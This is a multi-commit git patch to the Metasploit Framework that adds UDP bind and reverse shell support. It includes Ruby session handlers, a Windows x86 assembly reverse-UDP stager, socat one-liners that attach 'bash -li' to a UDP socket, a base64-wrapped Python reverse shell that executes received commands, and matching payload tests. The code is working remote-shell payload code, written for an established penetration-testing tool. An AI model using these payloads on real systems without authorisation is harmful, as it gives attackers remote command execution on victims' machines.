From ef1d4ddb036f7306d4f1759feae323cf8156eba5 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sun, 11 Dec 2016 02:52:38 -0500 Subject: [PATCH 1/7] Add UDP handlers and payloads (redux) This is a repackaging effort for the work i originally pushed in 6035. This segment of the PR provides UDP session handlers for bind and reverse sessions, a Windows Metasm stager (really the TCP stager with a small change), and a pair of socat payloads for testing simple UDP shells. Netcat or any scripting language with a sockets library is sufficient to use these sessions as they are stateless and simple. Testing of this PR requires rex/core #1 and rex/socket #2 The SSL testing which was being done on 6035 is backed out, left for a later time when we can do DTLS properly. --- lib/msf/core/handler/bind_udp.rb | 191 +++++++++++++ lib/msf/core/handler/reverse_udp.rb | 264 ++++++++++++++++++ lib/msf/core/payload/transport_config.rb | 6 + lib/msf/core/payload/windows/reverse_udp.rb | 175 ++++++++++++ lib/msf/core/session/interactive.rb | 4 +- .../singles/cmd/unix/bind_socat_udp.rb | 52 ++++ .../singles/cmd/unix/reverse_socat_udp.rb | 52 ++++ .../payloads/stagers/windows/reverse_udp.rb | 44 +++ 8 files changed, 786 insertions(+), 2 deletions(-) create mode 100644 lib/msf/core/handler/bind_udp.rb create mode 100644 lib/msf/core/handler/reverse_udp.rb create mode 100644 lib/msf/core/payload/windows/reverse_udp.rb create mode 100644 modules/payloads/singles/cmd/unix/bind_socat_udp.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_socat_udp.rb create mode 100644 modules/payloads/stagers/windows/reverse_udp.rb diff --git a/lib/msf/core/handler/bind_udp.rb b/lib/msf/core/handler/bind_udp.rb new file mode 100644 index 0000000000..05e11c1d1b --- /dev/null +++ b/lib/msf/core/handler/bind_udp.rb @@ -0,0 +1,191 @@ +# -*- coding: binary -*- +module Msf +module Handler + +### +# +# This module implements the Bind TCP handler. This means that +# it will attempt to connect to a remote host on a given port for a period of +# time (typically the duration of an exploit) to see if a the payload has +# started listening. This can tend to be rather verbose in terms of traffic +# and in general it is preferable to use reverse payloads. +# +### +module BindUdp + + include Msf::Handler + + # + # Returns the handler specific string representation, in this case + # 'bind_tcp'. + # + def self.handler_type + return "bind_udp" + end + + # + # Returns the connection oriented general handler type, in this case bind. + # + def self.general_handler_type + "bind" + end + + # + # Initializes a bind handler and adds the options common to all bind + # payloads, such as local port. + # + def initialize(info = {}) + super + + register_options( + [ + Opt::LPORT(4444), + OptAddress.new('RHOST', [false, 'The target address', '']), + ], Msf::Handler::BindUdp) + + self.conn_threads = [] + self.listener_threads = [] + self.listener_pairs = {} + end + + # + # Kills off the connection threads if there are any hanging around. + # + def cleanup_handler + # Kill any remaining handle_connection threads that might + # be hanging around + conn_threads.each { |thr| + thr.kill + } + end + + # + # Starts a new connecting thread + # + def add_handler(opts={}) + + # Merge the updated datastore values + opts.each_pair do |k,v| + datastore[k] = v + end + + # Start a new handler + start_handler + end + + # + # Starts monitoring for an outbound connection to become established. + # + def start_handler + + # Maximum number of seconds to run the handler + ctimeout = 150 + + if (exploit_config and exploit_config['active_timeout']) + ctimeout = exploit_config['active_timeout'].to_i + end + + # Take a copy of the datastore options + rhost = datastore['RHOST'] + lport = datastore['LPORT'] + + # Ignore this if one of the required options is missing + return if not rhost + return if not lport + + # Only try the same host/port combination once + phash = rhost + ':' + lport.to_s + return if self.listener_pairs[phash] + self.listener_pairs[phash] = true + + # Start a new handling thread + self.listener_threads << framework.threads.spawn("BindUdpHandlerListener-#{lport}", false) { + client = nil + + print_status("Started bind handler") + + if (rhost == nil) + raise ArgumentError, + "RHOST is not defined; bind stager cannot function.", + caller + end + + stime = Time.now.to_i + + while (stime + ctimeout > Time.now.to_i) + begin + client = Rex::Socket::Udp.create( + 'PeerHost' => rhost, + 'PeerPort' => lport.to_i, + 'Proxies' => datastore['Proxies'], + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + rescue Rex::ConnectionRefused + # Connection refused is a-okay + rescue ::Exception + wlog("Exception caught in bind handler: #{$!.class} #{$!}") + end + + client.extend(Rex::IO::Stream) + break if client + + # Wait a second before trying again + Rex::ThreadSafe.sleep(0.5) + end + + # Valid client connection? + if (client) + # Increment the has connection counter + self.pending_connections += 1 + + # Timeout and datastore options need to be passed through to the client + opts = { + :datastore => datastore, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, + :udp_session => true + } + + # Start a new thread and pass the client connection + # as the input and output pipe. Client's are expected + # to implement the Stream interface. + conn_threads << framework.threads.spawn("BindUdpHandlerSession", false, client) { |client_copy| + begin + handle_connection(client_copy, opts) + rescue + elog("Exception raised from BindUdp.handle_connection: #{$!}") + end + } + else + wlog("No connection received before the handler completed") + end + } + end + + # + # Nothing to speak of. + # + def stop_handler + # Stop the listener threads + self.listener_threads.each do |t| + t.kill + end + self.listener_threads = [] + self.listener_pairs = {} + end + +protected + + attr_accessor :conn_threads # :nodoc: + attr_accessor :listener_threads # :nodoc: + attr_accessor :listener_pairs # :nodoc: +end + +end +end diff --git a/lib/msf/core/handler/reverse_udp.rb b/lib/msf/core/handler/reverse_udp.rb new file mode 100644 index 0000000000..2f283da025 --- /dev/null +++ b/lib/msf/core/handler/reverse_udp.rb @@ -0,0 +1,264 @@ +# -*- coding: binary -*- +require 'rex/socket' +require 'thread' + +module Msf +module Handler + +### +# +# This module implements the reverse TCP handler. This means +# that it listens on a port waiting for a connection until +# either one is established or it is told to abort. +# +# This handler depends on having a local host and port to +# listen on. +# +### +module ReverseUdp + + include Msf::Handler + + # + # Returns the string representation of the handler type, in this case + # 'reverse_tcp'. + # + def self.handler_type + return "reverse_udp" + end + + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end + + # + # Initializes the reverse TCP handler and ads the options that are required + # for all reverse TCP payloads, like local host and local port. + # + def initialize(info = {}) + super + + register_options( + [ + Opt::LHOST, + Opt::LPORT(4444) + ], Msf::Handler::ReverseUdp) + + # XXX: Not supported by all modules + register_advanced_options( + [ + OptInt.new('ReverseConnectRetries', [ true, 'The number of connection attempts to try before exiting the process', 5 ]), + OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), + OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), + OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), + OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false]) + ], Msf::Handler::ReverseUdp) + + self.conn_threads = [] + end + + # + # Starts the listener but does not actually attempt + # to accept a connection. Throws socket exceptions + # if it fails to start the listener. + # + def setup_handler + ex = false + + comm = case datastore['ReverseListenerComm'].to_s + when "local"; ::Rex::Socket::Comm::Local + when /\A[0-9]+\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i] + else; nil + end + unless comm.is_a? ::Rex::Socket::Comm + comm = nil + end + + local_port = bind_port + addrs = bind_address + + addrs.each { |ip| + begin + + self.listener_sock = Rex::Socket::Udp.create( + 'LocalHost' => ip, + 'LocalPort' => local_port, + 'Comm' => comm, + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + + ex = false + + comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip ) + comm_used = Rex::Socket::Comm::Local if comm_used == nil + + if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) ) + via = "via the #{comm_used.type} on session #{comm_used.sid}" + else + via = "" + end + + print_status("Started reverse handler on #{ip}:#{local_port} #{via}") + break + rescue + ex = $! + print_error("Handler failed to bind to #{ip}:#{local_port}") + end + } + raise ex if (ex) + end + + # + # Closes the listener socket if one was created. + # + def cleanup_handler + stop_handler + + # Kill any remaining handle_connection threads that might + # be hanging around + conn_threads.each { |thr| + thr.kill rescue nil + } + end + + # + # Starts monitoring for an inbound connection. + # + def start_handler + queue = ::Queue.new + + local_port = bind_port + + self.listener_thread = framework.threads.spawn("ReverseUdpHandlerListener-#{local_port}", false, queue) { |lqueue| + loop do + # Accept a client connection + begin + inbound, peerhost, peerport = self.listener_sock.recvfrom + next if peerhost.nil? + cli_opts = { + 'PeerPort' => peerport, + 'PeerHost' => peerhost, + 'LocalPort' => self.listener_sock.localport, + 'Comm' => self.listener_sock.respond_to?(:comm) ? self.listener_sock.comm : nil + } + + # unless ['::', '0.0.0.0'].any? {|alladdr| self.listener_sock.localhost == alladdr } + # cli_opts['LocalHost'] = self.listener_sock.localhost + # end + + client = Rex::Socket.create_udp(cli_opts) + client.extend(Rex::IO::Stream) + if ! client + wlog("ReverseUdpHandlerListener-#{local_port}: No client received in call to accept, exiting...") + break + end + + self.pending_connections += 1 + lqueue.push([client,inbound]) + rescue ::Exception + wlog("ReverseUdpHandlerListener-#{local_port}: Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") + break + end + end + } + + self.handler_thread = framework.threads.spawn("ReverseUdpHandlerWorker-#{local_port}", false, queue) { |cqueue| + loop do + begin + client, inbound = cqueue.pop + + if ! client + elog("ReverseUdpHandlerWorker-#{local_port}: Queue returned an empty result, exiting...") + break + end + + # Timeout and datastore options need to be passed through to the client + opts = { + :datastore => datastore, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, + :udp_session => inbound + } + + if datastore['ReverseListenerThreaded'] + self.conn_threads << framework.threads.spawn("ReverseUdpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { |client_copy| + handle_connection(client_copy, opts) + } + else + handle_connection(client, opts) + end + rescue ::Exception + elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}") + end + end + } + + end + + # + # Stops monitoring for an inbound connection. + # + def stop_handler + # Terminate the listener thread + if (self.listener_thread and self.listener_thread.alive? == true) + self.listener_thread.kill + self.listener_thread = nil + end + + # Terminate the handler thread + if (self.handler_thread and self.handler_thread.alive? == true) + self.handler_thread.kill + self.handler_thread = nil + end + + if (self.listener_sock) + self.listener_sock.close + self.listener_sock = nil + end + end + +protected + + def bind_port + port = datastore['ReverseListenerBindPort'].to_i + port > 0 ? port : datastore['LPORT'].to_i + end + + def bind_address + # Switch to IPv6 ANY address if the LHOST is also IPv6 + addr = Rex::Socket.resolv_nbo(datastore['LHOST']) + # First attempt to bind LHOST. If that fails, the user probably has + # something else listening on that interface. Try again with ANY_ADDR. + any = (addr.length == 4) ? "0.0.0.0" : "::0" + + addrs = [ Rex::Socket.addr_ntoa(addr), any ] + + if not datastore['ReverseListenerBindAddress'].to_s.empty? + # Only try to bind to this specific interface + addrs = [ datastore['ReverseListenerBindAddress'] ] + + # Pick the right "any" address if either wildcard is used + addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") + end + + addrs + end + + attr_accessor :listener_sock # :nodoc: + attr_accessor :listener_thread # :nodoc: + attr_accessor :handler_thread # :nodoc: + attr_accessor :conn_threads # :nodoc: +end + +end +end diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index 678d3b305f..0e9d877bfd 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -17,6 +17,12 @@ module Msf::Payload::TransportConfig config end + def transport_config_reverse_udp(upts={}) + config =transport_config_reverse_tcp(opts) + config[:scheme] = 'udp' + config + end + def transport_config_reverse_ipv6_tcp(opts={}) ds = opts[:datastore] || datastore config = transport_config_reverse_tcp(opts) diff --git a/lib/msf/core/payload/windows/reverse_udp.rb b/lib/msf/core/payload/windows/reverse_udp.rb new file mode 100644 index 0000000000..5d9aa830de --- /dev/null +++ b/lib/msf/core/payload/windows/reverse_udp.rb @@ -0,0 +1,175 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/reverse_tcp' + +module Msf + +### +# +# Complex reverse_udp payload generation for Windows ARCH_X86 +# +### + +module Payload::Windows::ReverseUdp + + include Msf::Payload::TransportConfig + include Msf::Payload::Windows::ReverseTcp + + # + # Generate the first stage + # + def generate + conf = { + port: datastore['LPORT'], + host: datastore['LHOST'], + retry_count: datastore['ReverseConnectRetries'], + reliable: false + } + + # Generate the advanced stager if we have space + unless self.available_space.nil? || required_space > self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + + generate_reverse_udp(conf) + end + + def transport_config(opts={}) + transport_config_reverse_udp(opts) + end + + # + # Generate and compile the stager + # + def generate_reverse_udp(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp + #{asm_reverse_udp(opts)} + #{asm_block_recv(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Fixnum] :retry_count Number of retry attempts + # + def asm_reverse_udp(opts={}) + + retry_count = [opts[:retry_count].to_i, 1].max + encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first + + asm = %Q^ + ; Input: EBP must be the address of 'api_call'. + ; Output: EDI will be the socket for the connection to the server + ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) + + reverse_udp: + push '32' ; Push the bytes 'ws2_32',0,0 onto the stack. + push 'ws2_' ; ... + push esp ; Push a pointer to the "ws2_32" string on the stack. + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call ebp ; LoadLibraryA( "ws2_32" ) + + mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) + sub esp, eax ; alloc some space for the WSAData structure + push esp ; push a pointer to this stuct + push eax ; push the wVersionRequested parameter + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} + call ebp ; WSAStartup( 0x0190, &WSAData ); + + set_address: + push #{retry_count} ; retry counter + + create_socket: + push #{encoded_host} ; host in little-endian format - #{opts[:host]} + push #{encoded_port} ; family AF_INET and port number - #{opts[:port]} + mov esi, esp ; save pointer to sockaddr struct + + push eax ; if we succeed, eax will be zero, push zero for the flags param. + push eax ; push null for reserved parameter + push eax ; we do not specify a WSAPROTOCOL_INFO structure + push eax ; we do not specify a protocol + inc eax ; + inc eax ; + push eax ; push SOCK_DGRAM (UDP socket) + push eax ; push AF_INET + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call ebp ; WSASocketA( AF_INET, SOCK_DGRAM, 0, 0, 0, 0 ); + xchg edi, eax ; save the socket for later, don't care about the value of eax after this + + try_connect: + push 16 ; length of the sockaddr struct + push esi ; pointer to the sockaddr struct + push edi ; the socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} + call ebp ; connect( s, &sockaddr, 16 ); + + test eax,eax ; non-zero means a failure + jz connected + + handle_connect_failure: + ; decrement our attempt count and try again + dec [esi+8] + jnz try_connect + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ + end + + asm << %Q^ + ; this lable is required so that reconnect attempts include + ; the UUID stuff if required. + connected: + ^ + + # UDP receivers need to read something from the new socket + if include_send_uuid + asm << asm_send_uuid + else + asm << asm_send_newline + end + + asm + end + + def asm_send_newline + newline = raw_to_db "\n" + asm =%Q^ + send_newline: + push 0 ; flags + push #{newline.length} ; length of the newline + call get_nl_address ; put newline buffer on the stack + db #{newline} ; newline + get_nl_address: + push edi ; saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')} + call ebp ; call send + ^ + asm + end + +end + +end diff --git a/lib/msf/core/session/interactive.rb b/lib/msf/core/session/interactive.rb index a866913aa4..ed2157c970 100644 --- a/lib/msf/core/session/interactive.rb +++ b/lib/msf/core/session/interactive.rb @@ -26,7 +26,8 @@ module Interactive # A nil is passed in the case of non-stream interactive sessions (Meterpreter) if rstream self.rstream = rstream - self.ring = Rex::IO::RingBuffer.new(rstream, {:size => opts[:ring_size] || 100 }) + klass = opts[:udp_session] ? Rex::IO::RingBufferUdp : Rex::IO::RingBuffer + self.ring = klass.new(rstream, {:size => opts[:ring_size] || 100 }) end super() end @@ -151,4 +152,3 @@ end end end - diff --git a/modules/payloads/singles/cmd/unix/bind_socat_udp.rb b/modules/payloads/singles/cmd/unix/bind_socat_udp.rb new file mode 100644 index 0000000000..9f240d879b --- /dev/null +++ b/modules/payloads/singles/cmd/unix/bind_socat_udp.rb @@ -0,0 +1,52 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_udp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + CachedSize = 35 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Bind UDP (via socat)', + 'Description' => 'Creates an interactive shell via socat', + 'Author' => 'RageLtMan ', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::BindUdp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'socat', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "socat udp-listen:#{datastore['LPORT']} exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &" + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb b/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb new file mode 100644 index 0000000000..d856e62088 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb @@ -0,0 +1,52 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_udp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + CachedSize = 35 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse UDP (via socat)', + 'Description' => 'Creates an interactive shell via socat', + 'Author' => 'RageLtMan ', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseUdp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'socat', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "socat udp-connect:#{datastore['LHOST']}:#{datastore['LPORT']} exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &" + end + +end diff --git a/modules/payloads/stagers/windows/reverse_udp.rb b/modules/payloads/stagers/windows/reverse_udp.rb new file mode 100644 index 0000000000..9e1206b6a0 --- /dev/null +++ b/modules/payloads/stagers/windows/reverse_udp.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/reverse_udp' +require 'msf/core/payload/windows/reverse_udp' + +module Metasploit4 + + CachedSize = 314 + + include Msf::Payload::Stager + include Msf::Payload::Windows::ReverseUdp + + def self.handler_type_alias + 'reverse_udp' + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse UDP Stager with UUID Support', + 'Description' => 'Connect back to the attacker with UUID Support', + 'Author' => 'RageLtMan ', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseUdp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + # + # Override the uuid function and opt-in for sending the + # UUID in the stage. + # + def include_send_uuid + false + end + +end From 721163bd67a96d7502d4301a49d5609f4b77cd6a Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Fri, 23 Jun 2017 14:54:13 -0400 Subject: [PATCH 2/7] Python shell via reverse UDP Python-based UDP egress shell, another PoC of the protocol used as a raw transport. --- .../singles/python/shell_reverse_udp.rb | 70 +++++++++++++++++++ 1 file changed, 70 insertions(+) create mode 100644 modules/payloads/singles/python/shell_reverse_udp.rb diff --git a/modules/payloads/singles/python/shell_reverse_udp.rb b/modules/payloads/singles/python/shell_reverse_udp.rb new file mode 100644 index 0000000000..32cc7d103e --- /dev/null +++ b/modules/payloads/singles/python/shell_reverse_udp.rb @@ -0,0 +1,70 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_udp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + CachedSize = 397 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Command Shell, Reverse UDP (via python)', + 'Description' => 'Creates an interactive shell via python, encodes with base64 by design. Compatible with Python 2.3.3', + 'Author' => 'RageLtMan ', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseUdp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'python', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = '' + dead = Rex::Text.rand_text_alpha(2) + # Set up the socket + cmd << "import socket,os\n" + cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n" + cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n" + # The actual IO + cmd << "#{dead}=False\n" + cmd << "while not #{dead}:\n" + cmd << "\tdata=so.recv(1024)\n" + cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n" + cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n" + cmd << "\tstdout_value=stdout.read()+stderr.read()\n" + cmd << "\tso.send(stdout_value)\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" + + cmd + end + +end + From ed47efdadc38d0b32ca11420793d9af85a1c4293 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Tue, 23 Jan 2018 02:03:50 -0500 Subject: [PATCH 3/7] Silence tidy failures --- modules/payloads/singles/cmd/unix/bind_socat_udp.rb | 1 - modules/payloads/singles/cmd/unix/reverse_socat_udp.rb | 1 - modules/payloads/singles/python/shell_reverse_udp.rb | 1 - modules/payloads/stagers/windows/reverse_udp.rb | 1 - 4 files changed, 4 deletions(-) diff --git a/modules/payloads/singles/cmd/unix/bind_socat_udp.rb b/modules/payloads/singles/cmd/unix/bind_socat_udp.rb index 9f240d879b..77a5bfcf06 100644 --- a/modules/payloads/singles/cmd/unix/bind_socat_udp.rb +++ b/modules/payloads/singles/cmd/unix/bind_socat_udp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_udp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb b/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb index d856e62088..82b037bb7d 100644 --- a/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb +++ b/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_udp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/python/shell_reverse_udp.rb b/modules/payloads/singles/python/shell_reverse_udp.rb index 32cc7d103e..6979fed9ef 100644 --- a/modules/payloads/singles/python/shell_reverse_udp.rb +++ b/modules/payloads/singles/python/shell_reverse_udp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_udp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/stagers/windows/reverse_udp.rb b/modules/payloads/stagers/windows/reverse_udp.rb index 9e1206b6a0..1c1ce6c561 100644 --- a/modules/payloads/stagers/windows/reverse_udp.rb +++ b/modules/payloads/stagers/windows/reverse_udp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_udp' require 'msf/core/payload/windows/reverse_udp' From 2221779ddd0b0c096f376edf1fff15d53fa9712b Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Tue, 13 Feb 2018 13:33:36 -0600 Subject: [PATCH 4/7] update package namespaces --- modules/payloads/singles/cmd/unix/bind_socat_udp.rb | 2 +- modules/payloads/singles/cmd/unix/reverse_socat_udp.rb | 2 +- modules/payloads/singles/python/shell_reverse_udp.rb | 2 +- modules/payloads/stagers/windows/reverse_udp.rb | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/payloads/singles/cmd/unix/bind_socat_udp.rb b/modules/payloads/singles/cmd/unix/bind_socat_udp.rb index 77a5bfcf06..6d3012e56d 100644 --- a/modules/payloads/singles/cmd/unix/bind_socat_udp.rb +++ b/modules/payloads/singles/cmd/unix/bind_socat_udp.rb @@ -7,7 +7,7 @@ require 'msf/core/handler/bind_udp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 35 diff --git a/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb b/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb index 82b037bb7d..c5ab2494a5 100644 --- a/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb +++ b/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb @@ -7,7 +7,7 @@ require 'msf/core/handler/reverse_udp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 35 diff --git a/modules/payloads/singles/python/shell_reverse_udp.rb b/modules/payloads/singles/python/shell_reverse_udp.rb index 6979fed9ef..366f9f213e 100644 --- a/modules/payloads/singles/python/shell_reverse_udp.rb +++ b/modules/payloads/singles/python/shell_reverse_udp.rb @@ -7,7 +7,7 @@ require 'msf/core/handler/reverse_udp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 397 diff --git a/modules/payloads/stagers/windows/reverse_udp.rb b/modules/payloads/stagers/windows/reverse_udp.rb index 1c1ce6c561..33685617d5 100644 --- a/modules/payloads/stagers/windows/reverse_udp.rb +++ b/modules/payloads/stagers/windows/reverse_udp.rb @@ -7,7 +7,7 @@ require 'msf/core/handler/reverse_udp' require 'msf/core/payload/windows/reverse_udp' -module Metasploit4 +module MetasploitModule CachedSize = 314 From b80445e4485c235f8db6488bfb605fad5ebdccc9 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Tue, 13 Feb 2018 14:20:43 -0600 Subject: [PATCH 5/7] add missing payload tests --- spec/modules/payloads_spec.rb | 109 +++++++++++++++++++++++++++++++++- 1 file changed, 108 insertions(+), 1 deletion(-) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 04eb3245c4..904da1d13a 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -538,6 +538,16 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'cmd/unix/bind_nodejs' end + context 'cmd/unix/bind_socat_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_socat_udp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_socat_udp' + end + context 'cmd/unix/bind_perl' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -718,6 +728,16 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'cmd/unix/reverse_openssl' end + context 'cmd/unix/reverse_socat_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_socat_udp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_socat_udp' + end + context 'cmd/unix/reverse_perl' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -1176,7 +1196,7 @@ RSpec.describe 'modules/payloads', :content do end - context 'linux/armbe/shell_bind_tcp' do + context 'linux/armbe/shell_bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'singles/linux/armbe/shell_bind_tcp' @@ -2400,6 +2420,16 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'python/shell_reverse_tcp_ssl' end + context 'python/shell_reverse_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/python/shell_reverse_udp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/shell_reverse_udp' + end 